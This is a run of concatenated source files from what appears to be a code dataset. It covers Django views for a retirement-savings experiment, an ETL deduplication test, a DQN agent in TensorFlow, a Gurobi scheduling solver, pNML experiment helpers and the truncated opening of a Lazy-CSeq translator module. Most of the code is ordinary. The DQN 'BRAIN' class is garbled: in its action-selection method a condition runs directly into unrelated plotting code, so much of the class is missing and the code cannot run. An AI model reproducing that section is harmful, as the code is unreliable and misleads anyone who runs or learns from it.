defaultAttr]\n optionsText = [optoutText, chooseText, defaultText]\n elif (intervention in [8]):\n optionsAttr = [optoutAttr, defaultAttr, chooseAttr]\n optionsText = [optoutText, defaultText, chooseText]\n\n # Option colors\n color = [\"\"]*3\n if (intervention in [11, 15]):\n color = [\"\", \"\", \"red\"]\n elif (intervention in [12, 16]):\n color = [\"green\", \"yellow\", \"red\"]\n elif (intervention in [13, 17]):\n color = [\"yellow\", \"green\", \"red\"]\n\n return render(request, 'saving_app/voya-choices.html',\n {\"user_id\": user_id, \"name\": name, \"optionsText\": optionsText,\n \"intervention\": intervention, \"extraText\": extraText,\n \"grid\": grid, \"optionsAttr\": optionsAttr, \"color\": color, \"alert\": alert,\n \"zeroMargin\": zeroMargin, \"zeroMinheight\": zeroMinheight,\n \"realZeroMargin\" :realZeroMargin})\n\ndef set1(request):\n # return render(request, 'saving_app/voya-choices.html', {'user_id': user_id})\n user_id = request.GET.get(\"user_id\")\n name = request.GET.get(\"name\")\n intervention = int(request.GET.get(\"intervention\"))\n return render(request, 'saving_app/voya-set1.html',\n {\"user_id\": user_id, \"name\": name, \"intervention\": intervention})\n\ndef set2(request):\n user_id = request.GET.get(\"user_id\")\n name = request.GET.get(\"name\")\n contri = request.GET.get(\"contri\")\n age = request.GET.get(\"age\")\n salary = request.GET.get(\"salary\")\n savings = request.GET.get(\"savings\")\n intervention = int(request.GET.get(\"intervention\"))\n if (contri == None):\n contri = -1\n return render(request, 'saving_app/voya-set2.html',\n {\"user_id\": user_id, \"name\": name, \"contri\": contri,\n \"age\": age, \"salary\": salary, \"savings\": savings, \"intervention\": intervention})\n\ndef lookup(request):\n age = int(request.GET.get(\"age\"))\n salary = int(request.GET.get(\"salary\"))\n savings = int(request.GET.get(\"savings\"))\n csv_file = os.path.join(settings.BASE_DIR, \"saving_app/lookup.csv\")\n lk = pd.read_csv(csv_file)\n # The largest element which is smaller than the query\n uni_ages = lk.Age.unique()\n age_thre = uni_ages[age >= uni_ages]\n if (len(age_thre) == 0):\n uni_ages.sort()\n age_thre = uni_ages[0]\n else:\n age_thre.sort()\n age_thre = age_thre[-1]\n # The largest element which is smaller than the query\n uni_salaries = lk.Salary.unique()\n salary_thre = uni_salaries[salary >= uni_salaries]\n if (len(salary_thre) == 0):\n uni_salaries.sort()\n salary_thre = uni_salaries[0]\n else:\n salary_thre.sort()\n salary_thre = salary_thre[-1]\n # The largest element which is smaller than the query\n uni_savings = lk.Savings.unique()\n savings_thre = uni_savings[savings >= uni_savings]\n if (len(savings_thre) == 0):\n uni_savings.sort()\n savings_thre = uni_savings[0]\n else:\n savings_thre.sort()\n savings_thre = savings_thre[-1]\n small_lk = lk[(lk['Age'] == age_thre) & (lk['Salary'] == salary_thre) & (lk['Savings'] == savings_thre)]\n lk_dict = {}\n for row in small_lk.iterrows():\n lk_dict[row[1]['Rate']] = {}\n lk_dict[row[1]['Rate']]['target'] = row[1]['Target']\n lk_dict[row[1]['Rate']]['need'] = row[1]['Need']\n lk_dict[row[1]['Rate']]['gap'] = row[1]['Gap']\n\n data = json.dumps(lk_dict)\n return HttpResponse(data, content_type='application/json')\n\n\n\n\ndef set3(request):\n user_id = request.GET.get(\"user_id\")\n name = request.GET.get(\"name\")\n contri = request.GET.get(\"contri\")\n age = request.GET.get(\"age\")\n salary = request.GET.get(\"salary\")\n savings = request.GET.get(\"savings\")\n intervention = int(request.GET.get(\"intervention\"))\n return render(request, 'saving_app/voya-set3.html',\n {\"user_id\": user_id, \"name\": name, \"contri\": contri,\n \"age\": age, \"salary\": salary, \"savings\": savings, \"intervention\": intervention})\n\ndef update(request):\n user_id = request.GET.get(\"user_id\")\n name = request.GET.get(\"name\")\n client = MongoClient()\n\n client = MongoClient(os.environ['MONGOLAB_OLIVE_URI'])\n\n db = client.get_default_database()\n cursor = db.user_data.find_one({\"user_id\": user_id})\n if (cursor == None):\n db.user_data.insert_one({\n \"name\": name,\n \"user_id\": user_id,\n \"choice_time\": 0,\n \"set1_time\": 0,\n \"set2_time\": 0,\n \"set3_time\": 0,\n \"clicks\": []\n })\n\n clicks = request.GET.get(\"clicks\")\n if (clicks != None):\n db.user_data.update_one(\n {\"user_id\": user_id}, {\n \"$push\": {\n \"clicks\": clicks\n }\n }\n )\n\n choice_time = request.GET.get(\"choice_time\")\n if (choice_time != None):\n db.user_data.update_one(\n {\"user_id\": user_id}, {\n \"$inc\": {\n \"choice_time\": float(choice_time)\n }\n }\n )\n\n set1_time = request.GET.get(\"set1_time\")\n if (set1_time != None):\n db.user_data.update_one(\n {\"user_id\": user_id}, {\n \"$inc\": {\n \"set1_time\": float(set1_time)\n }\n }\n )\n\n set2_time = request.GET.get(\"set2_time\")\n if (set2_time != None):\n db.user_data.update_one(\n {\"user_id\": user_id}, {\n \"$inc\": {\n \"set2_time\": float(set2_time)\n }\n }\n )\n\n set3_time = request.GET.get(\"set3_time\")\n if (set3_time != None):\n db.user_data.update_one(\n {\"user_id\": user_id}, {\n \"$inc\": {\n \"set3_time\": float(set3_time)\n }\n }\n )\n\n rate = request.GET.get(\"rate\")\n if (rate != None):\n db.user_data.update_one(\n {\"user_id\": user_id}, {\n \"$set\": {\n \"rate\": int(float(rate))\n }\n }\n )\n\n final_choice = request.GET.get(\"final_choice\")\n if (final_choice != None):\n db.user_data.update_one(\n {\"user_id\": user_id}, {\n \"$set\": {\n \"final_choice\": final_choice\n }\n }\n )\n\n intervention = request.GET.get(\"intervention\")\n if (intervention != None):\n db.user_data.update_one(\n {\"user_id\": user_id}, {\n \"$set\": {\n \"intervention\": intervention\n }\n }\n )\n\n client.close()\n\n return HttpResponse('')\n","sub_path":"saving_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"220228469","text":"import unittest\nimport sys\nimport datetime\n\nsys.path.append('../')\n\nfrom etl.Loaders.DedupeOnlyLoader import DedupeOnlyLoader\nfrom tests.utils.TestDBInterface import get_test_interface\n\n\nclass TestDedupeOnlyLoader(unittest.TestCase):\n\n def setUp(self):\n self.TEST_TABLE = 'test_table'\n self.SEED_TEST_DATA = [{'ID': 1, 'first_name': 'Henry', 'last_name': 'Jones', 'school_year': 'Sophomore',\n 'updated_at': datetime.datetime(2017, 3, 12, 15, 45, 0)},\n {'ID': 2, 'first_name': 'Hiroshi', 'last_name': 'Tanaka', 'school_year': 'Senior',\n 'updated_at': datetime.datetime(2017, 6, 15, 8, 15, 32)},\n {'ID': 3, 'first_name': 'Ifemelu', 'last_name': 'Ngozi', 'school_year': 'Senior',\n 'updated_at': datetime.datetime(2017, 4, 25, 19, 11, 14)},\n {'ID': 4, 'first_name': 'Jimmy', 'last_name': 'Hoffa', 'school_year': 'Masters',\n 'updated_at': datetime.datetime(2017, 1, 22, 11, 45, 12)}]\n\n self.TEST_MATCH_FILEDS = ['first_name', 'updated_at']\n\n self.NO_DUP_FIELDS = {'first_name': 'Hiram', 'last_name': 'Jallop', 'school_year': 'Masters',\n 'updated_at': datetime.datetime(2017, 4, 1, 12, 0, 25)}\n self.SAME_FIRST_NAME = {'first_name': 'Hiroshi', 'last_name': 'Ieyasu', 'school_year': 'Masters',\n 'updated_at': datetime.datetime(2017, 4, 10, 18, 4, 4)}\n self.SAME_FIRST_NAME_AND_UPDATED_AT = {'first_name': 'Ifemelu', 'last_name': 'Adebayo',\n 'school_year': 'Masters',\n 'updated_at': datetime.datetime(2017, 4, 25, 19, 11, 14)}\n\n self.db = get_test_interface()\n self.loader = DedupeOnlyLoader(self.TEST_TABLE, self.TEST_MATCH_FILEDS, self.db)\n\n with self.db as db:\n db.delete(self.TEST_TABLE)\n for row in self.SEED_TEST_DATA:\n db.insert(self.TEST_TABLE, row)\n\n def clean_up():\n with self.db as db:\n db.delete(self.TEST_TABLE)\n\n self.addCleanup(clean_up)\n\n def test_loads_row_with_no_duplicates(self):\n self.loader.load([self.NO_DUP_FIELDS])\n with self.db as db:\n actual = db.select(self.TEST_TABLE, ['*'])\n\n expected_new_row = dict(self.NO_DUP_FIELDS)\n expected_new_row['ID'] = 5\n expected = list(self.SEED_TEST_DATA) + [expected_new_row]\n\n self.assertEqual(expected, actual)\n\n def test_loads_row_with_some_duplicates(self):\n self.loader.load([self.SAME_FIRST_NAME])\n with self.db as db:\n actual = db.select(self.TEST_TABLE, ['*'])\n\n expected_new_row = dict(self.SAME_FIRST_NAME)\n expected_new_row['ID'] = 5\n expected = list(self.SEED_TEST_DATA) + [expected_new_row]\n\n self.assertEqual(expected, actual)\n\n def test_skips_row_with_all_duplicates(self):\n self.loader.load([self.SAME_FIRST_NAME_AND_UPDATED_AT])\n with self.db as db:\n actual = db.select(self.TEST_TABLE, ['*'])\n\n expected = list(self.SEED_TEST_DATA)\n\n self.assertEqual(expected, actual)\n\n def test_handles_multiple_rows_correctly(self):\n self.loader.load([self.SAME_FIRST_NAME, self.NO_DUP_FIELDS, self.SAME_FIRST_NAME_AND_UPDATED_AT])\n with self.db as db:\n actual = db.select(self.TEST_TABLE, ['*'])\n\n expected_new_row1 = dict(self.SAME_FIRST_NAME)\n expected_new_row1['ID'] = 5\n expected_new_row2 = dict(self.NO_DUP_FIELDS)\n expected_new_row2['ID'] = 6\n expected = list(self.SEED_TEST_DATA) + [expected_new_row1, expected_new_row2]\n\n self.assertEqual(expected, actual)\n","sub_path":"tests/etl_tests/loader_tests/test_DedupeOnlyLoader.py","file_name":"test_DedupeOnlyLoader.py","file_ext":"py","file_size_in_byte":3857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"202722026","text":"import pandas as pd\nimport shutil\nimport random\nimport os\n\nsrc_path = '/home/utopia/CVDATA/lumbar/0613/lumbar_train51/class/1/' # 多标签\ntarget_path = '/home/utopia/xuleichao/projects/tianchi-SparkAI/keypoint/multi-label-image-classification/MSCOCO'\n\nall_images = os.listdir(src_path)\n\ntrain_dir = 'train2014'\ntrain_image_info = 'trainAnnotation.csv'\n\ntest_dir = 'val2014'\ntest_image_info = 'testAnnotation.csv'\n\ndef label_hit(string, dct):\n if '-' not in string:\n dct[string.upper()] = '1'\n else:\n string_lst = string.split('-')\n for j in string_lst:\n dct[j.upper()] = '1'\n\n return dct\n\nif os.path.exists(target_path + '/train2014'):\n shutil.rmtree(target_path + '/train2014')\n os.mkdir(target_path + '/train2014')\nelse:\n os.mkdir(target_path + '/train2014')\n\ncsv_result_train = []\ncsv_result_test = []\nfor i in all_images:\n if os.path.getsize(src_path + i):\n class_dct = {'images_name': i, 'V1': '0', 'V2': '0', 'V3': '0', 'V4': '0', 'V5': '0'}\n info = i.split('_')\n label_dct = label_hit(info[1], class_dct)\n if random.random() > 0.8:\n csv_result_test.append(label_dct)\n shutil.copy(src_path + i, target_path + '/' + test_dir + '/' + i)\n else:\n csv_result_train.append(label_dct)\n shutil.copy(src_path + i, target_path + '/' + train_dir + '/' + i)\n\ncsv_df_train = pd.DataFrame(csv_result_train)\ncsv_df_train.to_csv('trainAnnotation.csv', header=None, index=False)\n\n\ncsv_df_test = pd.DataFrame(csv_result_test)\ncsv_df_test.to_csv('testAnnotation.csv', header=None, index=False)","sub_path":"keypoint/multi-label-image-classification/MSCOCO/get_datasets.py","file_name":"get_datasets.py","file_ext":"py","file_size_in_byte":1614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"202948700","text":"# Author: Peiyong Jiang\n\nimport numpy as np\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\nimport time\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n\n\nclass BRAIN:\n def __init__(self):\n self.numAction=4\n self.numFeature=2\n\n self.factorGreedyEpsilon=0.5\n self.factorGreedyEpsilonInc=0.001\n self.factorGreedyEpsilonMax=1.\n\n self.factorRewardDecayGamma=0.9\n\n self.factorLearningRate=0.0001\n\n self.sizeMemory=10000\n self.sizeBatch=128\n\n self.numAssignTE=500\n\n self.outputNNGraph=True\n\n self.memory=np.zeros((self.sizeMemory,self.numFeature*2+2))\n\n self.counterMemory=0\n self.counterLearn=0\n\n self.histLoss=[]\n\n self.BuildNet()\n\n\n\n # Get all variables in the netTarget and netEval\n paramsTarget=tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES,scope='netTarget')\n paramsEval=tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES,scope='netEval')\n\n with tf.variable_scope('assignTE'):\n self.assignTE=[tf.assign(t,e) for t,e in zip(paramsTarget,paramsEval)]\n\n self.sess=tf.Session()\n if self.outputNNGraph:\n os.system('rm -fr ./logs/*')\n tf.summary.FileWriter(\"logs/\",self.sess.graph)\n\n self.sess.run(tf.global_variables_initializer())\n\n\n\n #os.system('tensorboard --logdir logs')\n\n\n\n\n def BuildNet(self):\n # 整体思路:\n\n # 输入\n self.stateNow=tf.placeholder(tf.float32,[None,self.numFeature],name='stateNow')\n self.stateNext=tf.placeholder(tf.float32,[None,self.numFeature],name='stateNext')\n self.rewardNow=tf.placeholder(tf.float32,[None,],name='rewardNow')\n self.actionNow=tf.placeholder(tf.int32,[None,],name='actionNow')\n\n # 初始化\n initializeW,initializeB=tf.random_normal_initializer(0,0.3),tf.constant_initializer(0.1)\n\n\n # build evaluate net:\n with tf.variable_scope('netEval'):\n netEval_1=tf.layers.dense(self.stateNow,20,tf.nn.relu,\n kernel_initializer=initializeW,bias_initializer=initializeB,name='netEval_1')\n\n self.netEval=tf.layers.dense(netEval_1,self.numAction,\n kernel_initializer=initializeW,bias_initializer=initializeB,name='netEval')\n\n # Build target net:\n with tf.variable_scope('netTarget'):\n netTarget_1=tf.layers.dense(self.stateNext,20,tf.nn.relu,\n kernel_initializer=initializeW,bias_initializer=initializeB,name='netTarget_1')\n\n self.netTarget=tf.layers.dense(netTarget_1,self.numAction,\n kernel_initializer=initializeW,bias_initializer=initializeB,name='netTarget')\n\n # qTarget:未来的\n # qTarget = r + gamma * qMaxS_\n with tf.variable_scope('qTarget'):\n qTarget=self.rewardNow+self.factorRewardDecayGamma*tf.reduce_max(self.netTarget,axis=1,name='qTarget')\n self.qTarget=tf.stop_gradient(qTarget)\n\n\n # qEval: 现在的\n with tf.variable_scope('qEval'):\n indexAction=tf.stack([tf.range(tf.shape(self.actionNow)[0],dtype=tf.int32),self.actionNow],axis=1)\n self.qEval=tf.gather_nd(params=self.netEval,indices=indexAction)\n\n # loss\n with tf.variable_scope('loss'):\n self.loss=tf.reduce_mean(tf.squared_difference(self.qTarget,self.qEval,name='TD_Error'),name='loss')\n\n # train:\n with tf.variable_scope('train'):\n self.train=tf.train.RMSPropOptimizer(self.factorLearningRate).minimize(self.loss)\n\n\n def StoreMemory(self,stateNow,counterRunNow,actionNow,rewardNow,stateNext,counterRunNext):\n pieceMemory=np.hstack((stateNow,counterRunNow,actionNow,rewardNow,stateNext,counterRunNext))\n indexMemory=self.counterMemory % self.sizeMemory\n self.memory[indexMemory,:]=pieceMemory\n self.counterMemory+=1\n\n def SelSamples(self):\n if self.counterMemory>self.sizeMemory:\n indexSample=np.random.choice(self.sizeMemory,size=self.sizeBatch)\n else:\n indexSample=np.random.choice(self.counterMemory,size=self.sizeBatch)\n\n memoryBatch=self.memory[indexSample,:]\n return memoryBatch\n\n def SelAction(self,stateNow,counterRunNow):\n stateNow=np.array([stateNow,counterRunNow])\n stateNow=stateNow[np.newaxis,:]\n\n if np.random.uniform()numPrint:\n plt.plot(self.histLoss[-numPrint:])\n else:\n plt.plot(self.histLoss)\n plt.ylabel('loss')\n plt.xlabel('training step')\n plt.title(self.factorGreedyEpsilon)\n plt.pause(0.001)\n #plt.show()\n\n\n\n\nif __name__ == \"__main__\":\n print('-'*50)\n brain=BRAIN()\n\n print('END @ BRAIN')\n","sub_path":"DQN/30/BRAIN.py","file_name":"BRAIN.py","file_ext":"py","file_size_in_byte":5984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"162940018","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport pickle\r\nimport definitions\r\n\r\nimport src.features.proc_lib as proc\r\nplt.close(\"all\")\r\n\r\n# Load the dataset object\r\nfilename = \"g1_p0_v8_2.pgdata\"\r\n#filename = \"cycle_5_end.pgdata\"\r\ndirectory = definitions.root + \"\\\\data\\\\processed\\\\\" + filename\r\nwith open(directory, 'rb') as filename:\r\n data = pickle.load(filename)\r\n\r\n#data.plot_rpm_over_time()\r\n\r\n# Band pass filter the signal\r\nsigprocobj = proc.Signal_Processing()\r\nsigprocobj.info = data.info\r\nsigprocobj.dataset = data.dataset\r\nsigprocobj.filter_column(\"Acc_Carrier\", 3000, 3500)\r\ntsa_obj = proc.Time_Synchronous_Averaging()\r\n\r\n# Create a TSA object\r\ntsa_obj.info = data.info\r\ntsa_obj.derived_attributes = data.derived_attributes\r\ntsa_obj.dataset = sigprocobj.dataset # Notice that the dataset is exchanged for filtered dataset\r\ntsa_obj.dataset_name = data.dataset_name\r\ntsa_obj.PG = data.PG\r\n\r\noffset_frac = (1/62)*(0.5)\r\nwinds = tsa_obj.window_extract(offset_frac, 2*1/62, \"Acc_Carrier\", plot=False)\r\nwind_ave = tsa_obj.window_average(winds,plot=True)\r\n\r\n#tsa = data.Compute_TSA(0,3/62, plot=True)\r\n#data.plot_rpm_over_time()\r\n\r\n\r\n","sub_path":"notebooks/2.0-time-synchronous-averaging-dev.py","file_name":"2.0-time-synchronous-averaging-dev.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"613437251","text":"from django.core.management.base import BaseCommand\nfrom django.db import models\n\n\nclass Command(BaseCommand):\n help = '42cc Project Info'\n\n def handle(self, *args, **options):\n def __print(output):\n self.stdout.write(output)\n self.stderr.write(\"error: %s\" % output)\n\n __print(\"Models info:\\n\")\n for klass in models.get_models():\n __print(\"%s: %s objects\\n\" %\n (klass.__name__, klass.objects.count()))\n","sub_path":"extras/management/commands/project_info.py","file_name":"project_info.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"302730913","text":"__author__ = 'Mark'\n\nfrom read_input import read_input_file\nfrom gurobipy import *\n\n\ndef main():\n test_scheduling_problem_1 = read_input_file('sample_input_1.txt')\n test_scheduling_problem_2 = read_input_file('sample_input_2.txt')\n test_scheduling_problem = test_scheduling_problem_2\n solve_scheduling_problem_guribi(test_scheduling_problem)\n\n\ndef solve_scheduling_problem_guribi(scheduling_problem):\n\n m = Model(\"Scheduling\")\n\n x_variables = {}\n y_variables = {}\n z_variables = {}\n\n # VARIABLE X:\n # actor i, scene j, slot s\n for actor_name in scheduling_problem.actors:\n x_variables[actor_name] = {}\n for scene_name in scheduling_problem.scenes:\n x_variables[actor_name][scene_name] = {}\n for slot_identity in scheduling_problem.slots:\n actor = scheduling_problem.actors[actor_name]\n importance = actor.get_scene_importance(scene_name)\n x_variables[actor_name][scene_name][slot_identity] = m.addVar(vtype=GRB.BINARY,\n obj=importance,\n name=\"Actor %s, Scene %s, Slot %s\" % (actor_name, scene_name, slot_identity))\n\n # VARIABLE Y:\n # scene j, slot s\n for scene_name in scheduling_problem.scenes:\n y_variables[scene_name] = {}\n for slot_identity in scheduling_problem.slots:\n y_variables[scene_name][slot_identity] = m.addVar(vtype=GRB.BINARY,\n name=\"Scene %s, Slot %s\" % (scene_name, slot_identity))\n\n # VARIABLE Z:\n # scene j, slot s\n for scene_name in scheduling_problem.scenes:\n z_variables[scene_name] = {}\n for slot_identity in scheduling_problem.slots:\n z_variables[scene_name][slot_identity] = m.addVar(vtype=GRB.BINARY,\n name=\"Scene %s, Slot %s\" % (scene_name, slot_identity))\n\n m.modelSense = GRB.MAXIMIZE\n m.update()\n\n # CONSTRAINT\n # one scene per unit time\n for slot_identity in scheduling_problem.slots:\n m.addConstr(quicksum(y_variables[scene_name][slot_identity] for scene_name in scheduling_problem.scenes) <= 1,\n \"Timeslot %s %s \" % slot_identity)\n\n # CONSTRAINT\n # each scene between min and max\n for scene_name in scheduling_problem.scenes:\n scene = scheduling_problem.scenes[scene_name]\n m.addConstr(quicksum(z_variables[scene_name][slot_identity] for slot_identity in scheduling_problem.slots) >= scene.min_rehearsals,\n \"Scene %s min\" % scene_name)\n m.addConstr(quicksum(z_variables[scene_name][slot_identity] for slot_identity in scheduling_problem.slots) <= scene.max_rehearsals,\n \"Scene %s max\" % scene_name)\n\n # CONSTRAINT\n # actor free\n for actor_name in scheduling_problem.actors:\n for scene_name in scheduling_problem.scenes:\n for slot_identity in scheduling_problem.slots:\n actor = scheduling_problem.actors[actor_name]\n slot = scheduling_problem.slots[slot_identity]\n if slot in actor.free_slots and scene_name in actor.scenes_of_actor:\n m.addConstr(x_variables[actor_name][scene_name][slot_identity] <= y_variables[scene_name][slot_identity],\n 'Actor Free %s %s %s' % (actor_name, scene_name, slot_identity))\n else:\n m.addConstr(x_variables[actor_name][scene_name][slot_identity] == 0,\n 'Actor Not Free %s %s %s' % (actor_name, scene_name, slot_identity))\n\n # CONSTRAINT\n # scheduling constraints\n for scene_name in scheduling_problem.scenes:\n scene = scheduling_problem.scenes[scene_name]\n length = scene.length\n segments_by_day = scheduling_problem.segments_by_day\n days = len(segments_by_day)\n for day in range(days):\n # 1. cannot start towards end\n segments_this_day = segments_by_day[day]\n for segment in range(segments_this_day-length+1, segments_this_day):\n slot_identity = (day, segment)\n m.addConstr(z_variables[scene_name][slot_identity] == 0,\n 'Scheduling Constraint LATE for Scene %s at Slot %s' % (scene_name, slot_identity))\n # 2. ongoing iff started in past [length] segments\n for segment in range(segments_this_day):\n slot_identity = (day, segment)\n min_segment = max(segment - length, -1)\n m.addConstr(y_variables[scene_name][slot_identity] == quicksum(z_variables[scene_name][(day, i_segment)] for i_segment in range(segment, min_segment, -1)),\n 'Scheduling Constraint REG for Scene %s at Slot %s' % (scene_name, slot_identity))\n\n # solve\n m.optimize()\n\n # print solution\n print(\"Total Utility: \", m.objVal)\n print(\"Solution\")\n for scene_name in scheduling_problem.scenes:\n for slot_identity in scheduling_problem.slots:\n if z_variables[scene_name][slot_identity].x == 1.0:\n print(scene_name, ' rehearse start in ', slot_identity)\n\n return 0\n\n\ndef gurobi_test():\n\n m = Model(\"mip1\")\n\n x = m.addVar(vtype=GRB.BINARY, name=\"x\")\n y = m.addVar(vtype=GRB.BINARY, name=\"y\")\n z = m.addVar(vtype=GRB.BINARY, name=\"z\")\n\n m.update()\n\n m.setObjective(x + y + 2 * z, GRB.MAXIMIZE)\n\n m.addConstr(x + 2 * y + 3 * z >= 4, \"c01\")\n m.addConstr(x + 2 * y + 3 * z <= 5, \"c02\")\n\n m.addConstr(x + y >= 1, \"c1\")\n m.addConstr(x + z <= 1, \"c2\")\n\n m.optimize()\n\n for v in m.getVars():\n print(v.varName, v.x)\n\n print('Obj:', m.objVal)\n\n\nif __name__ == '__main__':\n main()","sub_path":"solve_scheduling_problem.py","file_name":"solve_scheduling_problem.py","file_ext":"py","file_size_in_byte":5863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"161857024","text":"import copy\nimport logging\nimport multiprocessing as mp\nimport os\nimport os.path as osp\n\nimport numpy as np\nfrom tqdm import tqdm\n\nfrom data_utils import DataBase\nfrom pnml_utils import Pnml\n\nlogger = logging.getLogger(__name__)\n\n\ndef execute_x_vec(x_test_array, data_h: DataBase, pnml_h, is_mp: bool, out_dir: str) -> list:\n # Initialize output\n save_dir_genies_outputs = osp.join(out_dir, 'genies_output')\n save_file_name = osp.join(out_dir, 'res_model_degree_{}_lamb_{}.npy'.format(data_h.model_degree, pnml_h.lamb))\n save_theta_erm_file_name = osp.join(out_dir,\n 'res_theta_erm_model_degree_{}_lamb_{}.npy'.format(data_h.model_degree,\n pnml_h.lamb))\n np.save(save_theta_erm_file_name, pnml_h.theta_erm)\n os.makedirs(save_dir_genies_outputs, exist_ok=True)\n\n # iterate on test samples\n if is_mp is False:\n res_list = execute_x_test_array(x_test_array, data_h, pnml_h, save_file_name, save_dir_genies_outputs)\n else:\n res_list = execute_x_test_array_mp(x_test_array, data_h, pnml_h, save_file_name, save_dir_genies_outputs)\n logger.info('Save to {}'.format(save_file_name))\n np.save(save_file_name, res_list)\n\n return res_list\n\n\ndef execute_x_test(x_test: float, data_h: DataBase, pnml_h: Pnml, save_dir_genies_outputs: str) -> dict:\n phi_test = data_h.convert_point_to_features(x_test, data_h.model_degree)\n y_hat_erm = pnml_h.predict_erm(phi_test)\n regret = pnml_h.execute_regret_calc(phi_test)\n\n # Save genies products\n np.save(osp.join(save_dir_genies_outputs, f'genies_outputs_{x_test}.npy'), pnml_h.genies_output)\n return {'x_test': x_test, 'regret': regret, 'y_hat_erm': y_hat_erm}\n\n\ndef execute_x_test_array(x_test_array: np.ndarray, data_h: DataBase, pnml_h: Pnml,\n save_file_name: str, save_dir_genies_outputs: str) -> list:\n res_list = []\n for i, x_test in enumerate(x_test_array):\n res = execute_x_test(x_test, data_h, pnml_h, save_dir_genies_outputs)\n res_list.append(res)\n logger.info('[{}/{}] x_test={}. Save to {}'.format(i, len(x_test_array), x_test, save_file_name))\n np.save(save_file_name, res_list)\n return res_list\n\n\ndef execute_x_test_array_mp(x_test_array: np.ndarray, data_h: DataBase, pnml_h: Pnml,\n save_file_name: str, save_dir_genies_outputs: str) -> list:\n pool = mp.Pool()\n logger.info('mp.cpu_count: {}'.format(mp.cpu_count()))\n results = []\n pbar = tqdm(total=len(x_test_array))\n\n def log_result(result):\n results.append(result)\n pbar.update()\n\n for i, x_test in enumerate(x_test_array):\n pool.apply_async(execute_x_test,\n args=(x_test, copy.deepcopy(data_h), copy.deepcopy(pnml_h), save_dir_genies_outputs),\n callback=log_result)\n\n pool.close()\n pool.join()\n pbar.close()\n res_list = sorted(results, key=lambda k: k['x_test'])\n np.save(save_file_name, res_list)\n return res_list\n","sub_path":"src/experimnet_utils.py","file_name":"experimnet_utils.py","file_ext":"py","file_size_in_byte":3105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"10065236","text":"\"\"\" Lazy-CSeq Sequentialization module\n maintained by Truc Nguyen Lam, University of Southampton.\n\"\"\"\nVERSION = 'lazyseqnewschedule-0.1-2016.08.08'\n\n\"\"\"\n\nTransformation:\n implements the lazy sequentialization schema\n (see Inverso, Tomasco, Fischer, La Torre, Parlato, CAV'14)\n\nPrerequisites:\n - all functions should have been inlined, except the main(), all thread functions, all __CSEQ_atomic_ functions, and function __CSEQ_assert\n - all loops should habe been unrolled\n - no two threads refers to the same thread function (use module duplicator.py)\n\nTODO:\n - get rid of _init_scalar() (see ext. notes)\n - check the STOP() inserting mechanism\n - this schema assumes no mutex_lock() in main() - is this fine?\n - handle typedef in guessing numbit\n\nChangelog:\n 2017.08.17 preserve __cs_exit function (not overriding with STOP_*VOID)\n 2017.02.28 add option to only guess __cs_pc_cs (instead of using addition)\n 2016.11.30 temporary disable of static for argc and argv variables\n 2016.11.29 remove nondet initialization if backend is CBMC\n 2016.11.22 fix problem with function pointer reference (smacker benchmarks)\n 2016.09.21 add specific main function to KLEE backend (with only round robin approach)\n 2016.09.21 fix small bug that causes the injection of GUARD in atomic function\n 2016.08.12 Add option to use only one pc_cs\n 2016.08.12 Add preanalysis from framac to guess the number of bits for each variable\n 2016.08.10 Add round robin (old schedule) option\n 2016.08.09 Add decomposepc option\n 2016.08.08 Initial version\n\n\"\"\"\nimport math, re, os.path\nfrom time import gmtime, strftime\nimport pycparser.c_parser, pycparser.c_ast, pycparser.c_generator\nimport core.common, core.module, core.parser, core.utils\n\n\nclass lazyseqnewschedule(core.module.Translator):\n __lines = {} # lines for each thread\n __threadName = ['main'] # name of threads, as they are found in pthread_create(s) - the threads all have different names\n __threadIndex = {} # index of the thread = value of threadcount when the pthread_create to that thread was discovered\n __threadCount = 0 # pthread create()s found so far\n\n __labelLine = {} # statement number where labels are defined [function, label]\n __gotoLine = {} # statement number where goto to labels appear [function, label]\n __maxInCompound = 0 # max label within a compound\n __labelLength = 55 # for labels to have all the same length, adding padding when needed\n __startChar = 't' # special char to distinguish between labeled and non-labelled lines\n\n __stmtCount = -1 # thread statement counter (to build thread labels)\n\n __currentThread = '' # name of the current thread (also used to build thread labels)\n\n __threadbound = 0 # bound on the number of threads\n\n __firstThreadCreate = False # set once the first thread creation is met\n __globalMemoryAccessed = False # used to limit context-switch points (when global memory is not accessed, no need to insert them)\n\n __first = False\n __atomic = False # no context-switch points between atomic_start() and atomic_end()\n\n _bitwidth = {} # custom bitwidth for specific int variables, e.g. ['main','var'] = 4\n\n _deadlockcheck = False\n\n __decomposepc = False # decompose pc\n\n __one_pc_cs = False # use only one pc_cs variable\n\n __roundrobin = True\n\n __preanalysis = {}\n __visiting_struct = False\n __struct_stack = [] # stack of struct name\n\n __visit_funcReference = False\n\n __extra_nondet = '= __CSEQ_nondet_uint()'\n\n __donotcheckpointer = False\n\n __guess_cs_only = False\n\n __dir_path = os.path.dirname(os.path.abspath(__file__))\n\n def init(self):\n self.addInputParam('rounds', 'round-robin schedules', 'r', '1', False)\n self.addInputParam('threads', 'max no. of thread creations (0 = auto)', 't', '0', False)\n self.addInputParam('deadlock', 'check for deadlock', '', default=False, optional=True)\n self.addInputParam('decomposepc', 'use seperate variable for each pc', '', default=False, optional=True)\n # self.addInputParam('onepccs', 'use one guess pc variable', '', default=False, optional=True)\n self.addInputParam('robin', 'use round robin schedule', '', default=False, optional=True)\n 